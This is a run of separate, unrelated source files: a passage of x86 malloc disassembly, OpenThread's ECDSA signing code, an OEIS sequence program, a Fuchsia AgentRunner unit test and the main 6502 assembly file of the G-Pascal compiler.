$0xffffffff,%eax 6aa: 74 1c je 6c8 <malloc+0x88> 6ac: 89 58 04 mov %ebx,0x4(%eax) 6af: 83 ec 0c sub $0xc,%esp 6b2: 83 c0 08 add $0x8,%eax 6b5: 50 push %eax 6b6: e8 f5 fe ff ff call 5b0 <free> 6bb: 8b 15 08 0a 00 00 mov 0xa08,%edx 6c1: 83 c4 10 add $0x10,%esp 6c4: 85 d2 test %edx,%edx 6c6: 75 c0 jne 688 <malloc+0x48> 6c8: 8d 65 f4 lea -0xc(%ebp),%esp 6cb: 31 c0 xor %eax,%eax 6cd: 5b pop %ebx 6ce: 5e pop %esi 6cf: 5f pop %edi 6d0: 5d pop %ebp 6d1: c3 ret 6d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 6d8: 39 cf cmp %ecx,%edi 6da: 74 54 je 730 <malloc+0xf0> 6dc: 29 f9 sub %edi,%ecx 6de: 89 48 04 mov %ecx,0x4(%eax) 6e1: 8d 04 c8 lea (%eax,%ecx,8),%eax 6e4: 89 78 04 mov %edi,0x4(%eax) 6e7: 89 15 08 0a 00 00 mov %edx,0xa08 6ed: 8d 65 f4 lea -0xc(%ebp),%esp 6f0: 83 c0 08 add $0x8,%eax 6f3: 5b pop %ebx 6f4: 5e pop %esi 6f5: 5f pop %edi 6f6: 5d pop %ebp 6f7: c3 ret 6f8: 90 nop 6f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 700: c7 05 08 0a 00 00 0c movl $0xa0c,0xa08 707: 0a 00 00 70a: c7 05 0c 0a 00 00 0c movl $0xa0c,0xa0c 711: 0a 00 00 714: b8 0c 0a 00 00 mov $0xa0c,%eax 719: c7 05 10 0a 00 00 00 movl $0x0,0xa10 720: 00 00 00 723: e9 44 ff ff ff jmp 66c <malloc+0x2c> 728: 90 nop 729: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 730: 8b 08 mov (%eax),%ecx 732: 89 0a mov %ecx,(%edx) 734: eb b1 jmp 6e7 <malloc+0xa7>
/* * Copyright (c) 2018, The OpenThread Authors. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /** * @file * This file implements ECDSA signing. */ #include "ecdsa.hpp" #if OPENTHREAD_CONFIG_ECDSA_ENABLE #include <string.h> #include <mbedtls/ctr_drbg.h> #include <mbedtls/ecdsa.h> #include <mbedtls/pk.h> #include "common/code_utils.hpp" #include "common/debug.hpp" #include "common/random.hpp" #include "crypto/mbedtls.hpp" namespace ot { namespace Crypto { namespace Ecdsa { Error P256::KeyPair::Generate(void) { mbedtls_pk_context pk; int ret; mbedtls_pk_init(&pk); ret = mbedtls_pk_setup(&pk, mbedtls_pk_info_from_type(MBEDTLS_PK_ECKEY)); VerifyOrExit(ret == 0); ret = mbedtls_ecp_gen_key(MBEDTLS_ECP_DP_SECP256R1, mbedtls_pk_ec(pk), mbedtls_ctr_drbg_random, Random::Crypto::MbedTlsContextGet()); VerifyOrExit(ret == 0); ret = mbedtls_pk_write_key_der(&pk, mDerBytes, sizeof(mDerBytes)); VerifyOrExit(ret > 0); mDerLength = static_cast<uint8_t>(ret); memmove(mDerBytes, mDerBytes + sizeof(mDerBytes) - mDerLength, mDerLength); exit: mbedtls_pk_free(&pk); return (ret >= 0) ? kErrorNone : MbedTls::MapError(ret); } Error P256::KeyPair::Parse(void *aContext) const { Error error = kErrorNone; mbedtls_pk_context *pk = reinterpret_cast<mbedtls_pk_context *>(aContext); mbedtls_pk_init(pk); VerifyOrExit(mbedtls_pk_setup(pk, mbedtls_pk_info_from_type(MBEDTLS_PK_ECKEY)) == 0, error = kErrorFailed); VerifyOrExit(mbedtls_pk_parse_key(pk, mDerBytes, mDerLength, nullptr, 0) == 0, error = kErrorParse); exit: return error; } Error P256::KeyPair::GetPublicKey(PublicKey &aPublicKey) const { Error error; mbedtls_pk_context pk; mbedtls_ecp_keypair *keyPair; int ret; SuccessOrExit(error = Parse(&pk)); keyPair = mbedtls_pk_ec(pk); ret = mbedtls_mpi_write_binary(&keyPair->Q.X, aPublicKey.mData, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_write_binary(&keyPair->Q.Y, aPublicKey.mData + kMpiSize, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); exit: mbedtls_pk_free(&pk); return error; } Error P256::KeyPair::Sign(const Sha256::Hash &aHash, Signature &aSignature) const { Error error; mbedtls_pk_context pk; mbedtls_ecp_keypair * keypair; mbedtls_ecdsa_context ecdsa; mbedtls_mpi r; mbedtls_mpi s; int ret; mbedtls_ecdsa_init(&ecdsa); mbedtls_mpi_init(&r); mbedtls_mpi_init(&s); SuccessOrExit(error = Parse(&pk)); keypair = mbedtls_pk_ec(pk); ret = mbedtls_ecdsa_from_keypair(&ecdsa, keypair); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_ecdsa_sign_det(&ecdsa.grp, &r, &s, &ecdsa.d, aHash.GetBytes(), Sha256::Hash::kSize, MBEDTLS_MD_SHA256); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); OT_ASSERT(mbedtls_mpi_size(&r) <= kMpiSize); ret = mbedtls_mpi_write_binary(&r, aSignature.mShared.mMpis.mR, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_write_binary(&s, aSignature.mShared.mMpis.mS, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); exit: mbedtls_pk_free(&pk); mbedtls_mpi_free(&s); mbedtls_mpi_free(&r); mbedtls_ecdsa_free(&ecdsa); return error; } Error P256::PublicKey::Verify(const Sha256::Hash &aHash, const Signature &aSignature) const { Error error = kErrorNone; mbedtls_ecdsa_context ecdsa; mbedtls_mpi r; mbedtls_mpi s; int ret; mbedtls_ecdsa_init(&ecdsa); mbedtls_mpi_init(&r); mbedtls_mpi_init(&s); ret = mbedtls_ecp_group_load(&ecdsa.grp, MBEDTLS_ECP_DP_SECP256R1); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_read_binary(&ecdsa.Q.X, GetBytes(), kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_read_binary(&ecdsa.Q.Y, GetBytes() + kMpiSize, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_lset(&ecdsa.Q.Z, 1); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_read_binary(&r, aSignature.mShared.mMpis.mR, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_mpi_read_binary(&s, aSignature.mShared.mMpis.mS, kMpiSize); VerifyOrExit(ret == 0, error = MbedTls::MapError(ret)); ret = mbedtls_ecdsa_verify(&ecdsa.grp, aHash.GetBytes(), Sha256::Hash::kSize, &ecdsa.Q, &r, &s); VerifyOrExit(ret == 0, error = kErrorSecurity); exit: mbedtls_mpi_free(&s); mbedtls_mpi_free(&r); mbedtls_ecdsa_free(&ecdsa); return error; } Error Sign(uint8_t * aOutput, uint16_t & aOutputLength, const uint8_t *aInputHash, uint16_t aInputHashLength, const uint8_t *aPrivateKey, uint16_t aPrivateKeyLength) { Error error = kErrorNone; mbedtls_ecdsa_context ctx; mbedtls_pk_context pkCtx; mbedtls_ecp_keypair * keypair; mbedtls_mpi rMpi; mbedtls_mpi sMpi; mbedtls_pk_init(&pkCtx); mbedtls_ecdsa_init(&ctx); mbedtls_mpi_init(&rMpi); mbedtls_mpi_init(&sMpi); // Parse a private key in PEM format. VerifyOrExit(mbedtls_pk_parse_key(&pkCtx, aPrivateKey, aPrivateKeyLength, nullptr, 0) == 0, error = kErrorInvalidArgs); VerifyOrExit(mbedtls_pk_get_type(&pkCtx) == MBEDTLS_PK_ECKEY, error = kErrorInvalidArgs); keypair = mbedtls_pk_ec(pkCtx); OT_ASSERT(keypair != nullptr); VerifyOrExit(mbedtls_ecdsa_from_keypair(&ctx, keypair) == 0, error = kErrorFailed); // Sign using ECDSA. VerifyOrExit(mbedtls_ecdsa_sign(&ctx.grp, &rMpi, &sMpi, &ctx.d, aInputHash, aInputHashLength, mbedtls_ctr_drbg_random, Random::Crypto::MbedTlsContextGet()) == 0, error = kErrorFailed); VerifyOrExit(mbedtls_mpi_size(&rMpi) + mbedtls_mpi_size(&sMpi) <= aOutputLength, error = kErrorNoBufs); // Concatenate the two octet sequences in the order R and then S. VerifyOrExit(mbedtls_mpi_write_binary(&rMpi, aOutput, mbedtls_mpi_size(&rMpi)) == 0, error = kErrorFailed); aOutputLength = static_cast<uint16_t>(mbedtls_mpi_size(&rMpi)); VerifyOrExit(mbedtls_mpi_write_binary(&sMpi, aOutput + aOutputLength, mbedtls_mpi_size(&sMpi)) == 0, error = kErrorFailed); aOutputLength += mbedtls_mpi_size(&sMpi); exit: mbedtls_mpi_free(&rMpi); mbedtls_mpi_free(&sMpi); mbedtls_ecdsa_free(&ctx); mbedtls_pk_free(&pkCtx); return error; } } // namespace Ecdsa } // namespace Crypto } // namespace ot #endif // OPENTHREAD_CONFIG_ECDSA_ENABLE
; A168333: a(n) = (14*n + 7*(-1)^n + 1)/4. ; 2,9,9,16,16,23,23,30,30,37,37,44,44,51,51,58,58,65,65,72,72,79,79,86,86,93,93,100,100,107,107,114,114,121,121,128,128,135,135,142,142,149,149,156,156,163,163,170,170,177,177,184,184,191,191,198,198,205,205,212,212,219,219,226,226,233,233,240,240,247,247,254,254,261,261,268,268,275,275,282,282,289,289,296,296,303,303,310,310,317,317,324,324,331,331,338,338,345,345,352 add $0,1 div $0,2 mul $0,7 add $0,2
// Copyright 2017 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "src/modular/bin/sessionmgr/agent_runner/agent_runner.h" #include <fuchsia/modular/cpp/fidl.h> #include <fuchsia/sys/cpp/fidl.h> #include <fuchsia/testing/modular/cpp/fidl.h> #include <lib/fidl/cpp/binding.h> #include <lib/gtest/real_loop_fixture.h> #include <lib/svc/cpp/service_namespace.h> #include <lib/sys/cpp/testing/fake_launcher.h> #include <lib/zx/object.h> #include <zircon/errors.h> #include <zircon/status.h> #include <memory> #include <fs/service.h> #include <fs/synchronous_vfs.h> #include "gtest/gtest.h" #include "src/lib/files/scoped_temp_dir.h" #include "src/lib/fxl/macros.h" #include "src/modular/bin/sessionmgr/entity_provider_runner/entity_provider_runner.h" #include "src/modular/lib/fidl/array_to_string.h" #include "src/modular/lib/testing/mock_base.h" namespace modular_testing { namespace { using ::sys::testing::FakeLauncher; // The choice of "TestProtocol" as the test service is arbitrary, but the // ConnectToAgentService() tests require an existing service type. const char* kTestAgentService = fuchsia::testing::modular::TestProtocol::Name_; constexpr char kTestAgentUrl[] = "file:///my_agent"; // Configuration for testing |ComponentContext| ConnectToAgentService(). struct ConnectToAgentServiceTestConfig { // The map of |service_name|->|agent_url| used to look up a service // handler |agent_url| by name. std::map<std::string, std::string> agent_service_index = {}; // If true, include the service_name in the |AgentServiceRequest|. // This is required for a successful connection. bool provide_service_name = false; // If true, include the specific handler (agent URL) in the // |AgentServiceRequest|. This is *not* required for a successful connection. bool provide_handler = false; // If true, include the service client-side channel in the // |AgentServiceRequest|. This is required for a successful connection. bool provide_channel = false; // If true, include the |AgentController| in the |AgentServiceRequest|. // This is required for a successful connection. bool provide_agent_controller = false; }; // Expected test results. struct ConnectToAgentServiceExpect { // If true, the test should connect to the test agent and verify the // agent-side channel has a |koid| that matches the client-side channel. bool agent_got_service_request = false; // If set to an error code, the service channel should receive the given // error. zx_status_t service_status = ZX_OK; }; static zx_koid_t get_object_koid(zx_handle_t handle) { zx_info_handle_basic_t info; if (zx_object_get_info(handle, ZX_INFO_HANDLE_BASIC, &info, sizeof(info), NULL, NULL) != ZX_OK) { return 0; } return info.koid; } class TestAgent : fuchsia::modular::Agent, public fuchsia::sys::ComponentController, public modular_testing::MockBase { public: TestAgent(zx::channel directory_request, fidl::InterfaceRequest<fuchsia::sys::ComponentController> ctrl, std::unique_ptr<component::ServiceNamespace> services_ptr = nullptr) : vfs_(async_get_default_dispatcher()), outgoing_directory_(fbl::AdoptRef(new fs::PseudoDir())), controller_(this, std::move(ctrl)), agent_binding_(this), services_ptr_(std::move(services_ptr)) { outgoing_directory_->AddEntry(fuchsia::modular::Agent::Name_, fbl::AdoptRef(new fs::Service([this](zx::channel channel) { agent_binding_.Bind(std::move(channel)); return ZX_OK; }))); vfs_.ServeDirectory(outgoing_directory_, std::move(directory_request)); } void KillApplication() { controller_.Unbind(); } size_t GetCallCount(const std::string func) { return counts.count(func); } private: // |ComponentController| void Kill() override { ++counts["Kill"]; } // |ComponentController| void Detach() override { ++counts["Detach"]; } // |fuchsia::modular::Agent| void Connect(std::string /*requestor_url*/, fidl::InterfaceRequest<fuchsia::sys::ServiceProvider> outgoing_services) override { ++counts["Connect"]; if (services_ptr_) { services_ptr_->AddBinding(std::move(outgoing_services)); } } private: fs::SynchronousVfs vfs_; fbl::RefPtr<fs::PseudoDir> outgoing_directory_; fidl::Binding<fuchsia::sys::ComponentController> controller_; fidl::Binding<fuchsia::modular::Agent> agent_binding_; std::unique_ptr<component::ServiceNamespace> services_ptr_; FXL_DISALLOW_COPY_AND_ASSIGN(TestAgent); }; class AgentRunnerTest : public gtest::RealLoopFixture { public: AgentRunnerTest() = default; void SetUp() override { gtest::RealLoopFixture::SetUp(); entity_provider_runner_ = std::make_unique<modular::EntityProviderRunner>(nullptr); } void TearDown() override { agent_runner_.reset(); entity_provider_runner_.reset(); gtest::RealLoopFixture::TearDown(); } protected: modular::AgentRunner* agent_runner() { if (agent_runner_ == nullptr) { agent_runner_ = std::make_unique<modular::AgentRunner>( &launcher_, token_manager_.get(), /*agent_services_factory=*/nullptr, entity_provider_runner_.get(), &node_, std::move(agent_service_index_)); } return agent_runner_.get(); } void set_agent_service_index(std::map<std::string, std::string> agent_service_index) { agent_service_index_ = std::move(agent_service_index); } template <typename Interface> void request_agent_service(ConnectToAgentServiceTestConfig test_config, std::string service_name, std::string agent_url, fidl::InterfaceRequest<Interface> service_request, fuchsia::modular::AgentControllerPtr agent_controller) { fuchsia::modular::AgentServiceRequest agent_service_request; if (test_config.provide_service_name) { agent_service_request.set_service_name(service_name); } if (test_config.provide_handler) { agent_service_request.set_handler(agent_url); } if (test_config.provide_channel) { agent_service_request.set_channel(service_request.TakeChannel()); } if (test_config.provide_agent_controller) { agent_service_request.set_agent_controller(agent_controller.NewRequest()); } agent_runner()->ConnectToAgentService("requestor_url", std::move(agent_service_request)); } void execute_connect_to_agent_service_test(ConnectToAgentServiceTestConfig test_config, ConnectToAgentServiceExpect expect) { // Client-side service pointer fuchsia::testing::modular::TestProtocolPtr service_ptr; auto service_name = service_ptr->Name_; auto service_request = service_ptr.NewRequest(); zx_status_t service_status = ZX_OK; service_ptr.set_error_handler( [&service_status](zx_status_t status) { service_status = status; }); // standard AgentController initialization fuchsia::modular::AgentControllerPtr agent_controller; zx_status_t agent_controller_status = ZX_OK; agent_controller.set_error_handler( [&agent_controller_status](zx_status_t status) { agent_controller_status = status; }); // register a service for the agent to serve, and expect the client's // request auto services_ptr = std::make_unique<component::ServiceNamespace>(); bool agent_got_service_request = false; services_ptr->AddService<fuchsia::testing::modular::TestProtocol>( [&agent_got_service_request, client_request_koid = get_object_koid(service_request.channel().get())]( fidl::InterfaceRequest<fuchsia::testing::modular::TestProtocol> request) { auto server_request_koid = get_object_koid(request.channel().get()); EXPECT_EQ(server_request_koid, client_request_koid); agent_got_service_request = true; }); // register and launch the test agent, with services std::unique_ptr<TestAgent> test_agent; launcher()->RegisterComponent( kTestAgentUrl, [&test_agent, &services_ptr]( fuchsia::sys::LaunchInfo launch_info, fidl::InterfaceRequest<fuchsia::sys::ComponentController> ctrl) { test_agent = std::make_unique<TestAgent>(std::move(launch_info.directory_request), std::move(ctrl), std::move(services_ptr)); }); request_agent_service(test_config, service_name, kTestAgentUrl, std::move(service_request), std::move(agent_controller)); RunLoopWithTimeoutOrUntil([&] { return agent_got_service_request || service_status != ZX_OK || (expect.service_status == ZX_OK && agent_controller_status != ZX_OK); // The order of error callbacks is non-deterministic. If checking for a // specific service error, wait for it. }); EXPECT_EQ(agent_got_service_request, expect.agent_got_service_request); if (!agent_got_service_request) { // If the agent successfully got the expected service request, ignore // service errors. This test does not actually complete the connection. EXPECT_EQ(service_status, expect.service_status); } } FakeLauncher* launcher() { return &launcher_; } private: FakeLauncher launcher_; inspect::Node node_; files::ScopedTempDir mq_data_dir_; std::unique_ptr<modular::EntityProviderRunner> entity_provider_runner_; std::unique_ptr<modular::AgentRunner> agent_runner_; std::map<std::string, std::string> agent_service_index_; fuchsia::auth::TokenManagerPtr token_manager_; FXL_DISALLOW_COPY_AND_ASSIGN(AgentRunnerTest); }; } // namespace // Test that connecting to an agent will start it up. // Then there should be an fuchsia::modular::Agent.Connect(). TEST_F(AgentRunnerTest, ConnectToAgent) { int agent_launch_count = 0; std::unique_ptr<TestAgent> test_agent; launcher()->RegisterComponent( kTestAgentUrl, [&test_agent, &agent_launch_count]( fuchsia::sys::LaunchInfo launch_info, fidl::InterfaceRequest<fuchsia::sys::ComponentController> ctrl) { test_agent = std::make_unique<TestAgent>(std::move(launch_info.directory_request), std::move(ctrl)); ++agent_launch_count; }); fuchsia::sys::ServiceProviderPtr incoming_services; fuchsia::modular::AgentControllerPtr agent_controller; agent_runner()->ConnectToAgent("requestor_url", kTestAgentUrl, incoming_services.NewRequest(), agent_controller.NewRequest()); RunLoopWithTimeoutOrUntil( [&test_agent] { return test_agent && test_agent->GetCallCount("Connect") > 0; }); EXPECT_EQ(1, agent_launch_count); test_agent->ExpectCalledOnce("Connect"); test_agent->ExpectNoOtherCalls(); // Connecting to the same agent again shouldn't launch a new instance and // shouldn't re-initialize the existing instance of the agent application, // but should call |Connect()|. fuchsia::modular::AgentControllerPtr agent_controller2; fuchsia::sys::ServiceProviderPtr incoming_services2; agent_runner()->ConnectToAgent("requestor_url2", kTestAgentUrl, incoming_services2.NewRequest(), agent_controller2.NewRequest()); RunLoopWithTimeoutOrUntil( [&test_agent] { return test_agent && test_agent->GetCallCount("Connect"); }); EXPECT_EQ(1, agent_launch_count); test_agent->ExpectCalledOnce("Connect"); test_agent->ExpectNoOtherCalls(); } // Test that if an agent application dies, it is removed from agent runner // (which means outstanding AgentControllers are closed). TEST_F(AgentRunnerTest, AgentController) { std::unique_ptr<TestAgent> test_agent; launcher()->RegisterComponent( kTestAgentUrl, [&test_agent](fuchsia::sys::LaunchInfo launch_info, fidl::InterfaceRequest<fuchsia::sys::ComponentController> ctrl) { test_agent = std::make_unique<TestAgent>(std::move(launch_info.directory_request), std::move(ctrl)); }); fuchsia::sys::ServiceProviderPtr incoming_services; fuchsia::modular::AgentControllerPtr agent_controller; agent_runner()->ConnectToAgent("requestor_url", kTestAgentUrl, incoming_services.NewRequest(), agent_controller.NewRequest()); RunLoopWithTimeoutOrUntil([&test_agent] { return !!test_agent; }); test_agent->KillApplication(); // fuchsia::modular::Agent application died, so check that // fuchsia::modular::AgentController dies here. agent_controller.set_error_handler( [&agent_controller](zx_status_t status) { agent_controller.Unbind(); }); RunLoopWithTimeoutOrUntil([&agent_controller] { return !agent_controller.is_bound(); }); EXPECT_FALSE(agent_controller.is_bound()); } TEST_F(AgentRunnerTest, NoServiceNameInAgentServiceRequest) { ConnectToAgentServiceTestConfig test_config; // test_config.provide_service_name = true; test_config.provide_channel = true; test_config.provide_agent_controller = true; ConnectToAgentServiceExpect expect; expect.agent_got_service_request = false; expect.service_status = ZX_ERR_PEER_CLOSED; execute_connect_to_agent_service_test(test_config, expect); } TEST_F(AgentRunnerTest, NoChannelInAgentServiceRequest) { ConnectToAgentServiceTestConfig test_config; test_config.provide_service_name = true; // test_config.provide_channel = true; test_config.provide_agent_controller = true; ConnectToAgentServiceExpect expect; expect.agent_got_service_request = false; expect.service_status = ZX_ERR_PEER_CLOSED; execute_connect_to_agent_service_test(test_config, expect); } TEST_F(AgentRunnerTest, NoAgentControllerInAgentServiceRequest) { ConnectToAgentServiceTestConfig test_config; test_config.provide_service_name = true; test_config.provide_channel = true; // test_config.provide_agent_controller = true; ConnectToAgentServiceExpect expect; expect.agent_got_service_request = false; expect.service_status = ZX_ERR_PEER_CLOSED; execute_connect_to_agent_service_test(test_config, expect); } TEST_F(AgentRunnerTest, NoAgentForServiceName) { ConnectToAgentServiceTestConfig test_config; // Default agent_service_index is empty, so agent_url will not be found test_config.provide_service_name = true; test_config.provide_channel = true; test_config.provide_agent_controller = true; ConnectToAgentServiceExpect expect; expect.agent_got_service_request = false; expect.service_status = ZX_ERR_NOT_FOUND; execute_connect_to_agent_service_test(test_config, expect); } TEST_F(AgentRunnerTest, ConnectToServiceName) { ConnectToAgentServiceTestConfig test_config; // requested service will map to test agent test_config.agent_service_index = { {kTestAgentService, kTestAgentUrl}, }; test_config.provide_service_name = true; test_config.provide_channel = true; test_config.provide_agent_controller = true; ConnectToAgentServiceExpect expect; expect.agent_got_service_request = true; expect.service_status = ZX_ERR_PEER_CLOSED; set_agent_service_index(test_config.agent_service_index); execute_connect_to_agent_service_test(test_config, expect); } } // namespace modular_testing
;*********************************************** ; G-PASCAL COMPILER ; for Ben Eater's breadboard computer ; ; Author: Nick Gammon ; Date: 20 January 2022 ; ; To compile: ; ; vasm6502_oldstyle gpascal.asm -wdc02 -esc -Fbin -o gpascal.bin -dotdir -L gpascal.list ; ; To program EEPROM: ; ; minipro -p AT28C256 -w gpascal.bin ; ; ; ; To communicate, I suggest: miniterm /dev/ttyUSB0 4800 -e ; ; Miniterm: Ctrl+] : to exit. ; Ctrl+T Ctrl+H : help ; Ctrl+T Ctrl+E : toggle local echo ; ; ; Copyright 2022 by Nick Gammon ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ;*********************************************** ; ; Note: BCC == BLT and BCS == BGE ; ; ; CONDITIONAL COMPILES EMULATOR = 0 ; for testing on a PC running an emulator LCD_SUPPORT = 1 ; 1 = support LCD, 0 = not. Unset if you have removed the LCD. USE_CP437_FONT = 1 ; 1 = include the symbols for the CP437 font for use with MAX7219 chip, 0 = omit them USE_PASCAL = 1 ; 1 = include the G-Pascal compiler, 0 = omit it USE_ASSEMBLER = 1 ; 1 = include the assembler, 0 = omit it SERIAL_DEBUGGING = 0 ; if set, toggle VIA PA2 when reading a bit, and PA3 when writing a bit ; DO NOT USE I2C if this is on, as I2C functions use these two pins ; ; CONFIGURATION ; CLOCK_RATE = 1000000 ; 1 Mhz START_OF_ROM = $8000 ; where the ROM chip starts HIGHEST_RAM = $3FFF ; original board hardware ;HIGHEST_RAM = $5FFF ; with suggested additional AND gate RUNNING_STACK_TOP = $CF ; top of stack when running assembler code ; ; serial output ; BAUD_RATE = 4800 ; baud BIT_INTERVAL = CLOCK_RATE / BAUD_RATE ; time between bits in µs ; ; serial input - input commences on the interrupt generated by the falling edge ; of the start bit. Bits are then clocked in with a timed loop. ; - these delays can be tweaked if you believe the serial input is not being ; sampled at the right moment, confirm by turning SERIAL_DEBUGGING on ; and checking the debugging pulses compared to the middle of the bit times ; with an oscilloscope or logic analyser ; SERIAL_DELAY1 = 48 ; initial delay (count) - higher because it is 1.5 bit times SERIAL_DELAY2 = 35 ; subsequent delays between bits (count) SYMBOL_TABLE_START = HIGHEST_RAM ; symbol table pointer (ENDSYM) is decremented before being used STACK = $100 ; hardware stack address SPACE = $20 ; uh-huh SINGLE_QUOTE = $27 NL = $0A ; newline CR = $0D ; carriage-return BACKSPACE = $08 ; backspace MAX_STK = 32 NEW_STK = $FF .if EMULATOR END_EDITOR_INPUT = '`' ; backtick terminates input .else END_EDITOR_INPUT = $1B ; Esc terminates editor input .endif KEY_DEBUG = 'D'-$40 ; Ctrl+D start debugging KEY_TRACE = 'T'-$40 ; Ctrl+T start tracing KEY_STOP_TRACE = 'N'-$40 ; Ctrl+N stop tracing KEY_ABORT = 'C'-$40 ; Ctrl+C abort execution .if LCD_SUPPORT ; ; Pins connected from the VIA to the LCD ; LCD_RS = %00100000 ; PA 5 - 0 = instruction, 1 = data LCD_RW = %01000000 ; PA 6 - 0 = write, 1 = read LCD_E = %10000000 ; PA 7 - toggle (0 -> 1 -> 0) to clock out a command or data .endif .include "zp_variables.inc" ; ; A general work-buffer is allocated from $200 to $2FF for use during keyboard input, and also ; for converting strings during tokenisation (eg. two quotes in a row to one quote, and handling ; string escape sequences). It is also used during assembly as a 256-byte operator stack. ; .org $200 INBUF_SIZE = 256 ; we use this for string storage during tokenisation INBUF reserve INBUF_SIZE ; and also for preprocessing string literals (eg. backslash expansion) TEXT_START = * ; where source goes in memory (currently $300) .dend ;------------------------------------------ ; Macros ;------------------------------------------ .macro tknjmpItem ; tknjmp entry: token, handler dfb \1 word \2 .endmacro .macro makeHandler ; table of words and handlers: word, handler asciiz \1 word \2 .endmacro ; ; makePasLibraryFunction NAME (SYMNAM), TYPE (SYMTYP), ARG_COUNT (SYMARG), EXECUTION_ADDRESS (SYMDSP) ; ; TYPE = SYMBOL_LIBRARY_PROCEDURE or SYMBOL_LIBRARY_FUNCTION .macro makePasLibraryFunction asciiz \1 dfb \2 dfb \3 word \4 .endmacro ; ; makeAsmLibraryFunction NAME (SYMNAM), EXECUTION_ADDRESS (SYMDSP) ; .macro makeAsmLibraryFunction asciiz \1 word \2 .endmacro ORG START_OF_ROM ; normally $8000 in the case of Ben Eater's board JMP START ; where RESET takes us - a cold start JMP RESTART ; where NMI takes us - a warm start ;*********************************************** ; INCLUDES ;*********************************************** .include "memory.inc" .include "editor.inc" .include "utilities.inc" .include "errors.inc" .if USE_ASSEMBLER .include "assembler.inc" .endif ; USE_ASSEMBLER .include "math.inc" .if USE_PASCAL .include "compiler.inc" .include "interpreter.inc" .endif ; USE_PASCAL .include "interrupts.inc" .include "lcd.inc" .include "symbols.inc" .include "hardware.inc" .include "gtoken.inc" .include "i2c.inc" .include "spi.inc" .if USE_CP437_FONT .include "cp437_font.inc" .endif introduction asc "G-Pascal compiler, version 4.07.\n" asciiz "Written by Nick Gammon.\nType H for help.\n" .if LCD_SUPPORT LCD_welcome asciiz "Nick's G-Pascal\nCompiler v4.07" .endif running_message asciiz 'Running\n' ; ; here for cold start - clear text file to null etc. etc. ; START = * cld ; cancel decimal mode sei ; no interrupts yet lda #$FF sta random ; initialise random numbers sta random+1 sta random+2 sta random+3 ; ; Put 0x00 at start of source ; lda #<TEXT_START sta REG lda #>TEXT_START sta REG+1 lda #0 tay sta (REG),Y ; null edit file sty system_flags tax ; ; now do rest of initialization ; RESTART = * ldx #NEW_STK txs ; reset stack cli ; allow interrupts after a NMI cld ; cancel decimal mode jsr hardware_init ; REST1 = * .if LCD_SUPPORT ; ; put message on the LCD screen to prove it is working ; lda #<LCD_welcome ; G-pascal compiler ldx #>LCD_welcome jsr lcd_print_message .endif ; ; now direct output to the serial port ; jsr write_to_serial ; set up outputting function lda #0 sta RUNNING jmp main_start ; go to "shell" end_of_rom_routines dfb 0 ; ; processor hardware vectors ; .org $FFFA .word RESTART ; non-maskable interrupt (NMI) .word START ; reset vector .word irq ; maskable interrupt (IRQ)
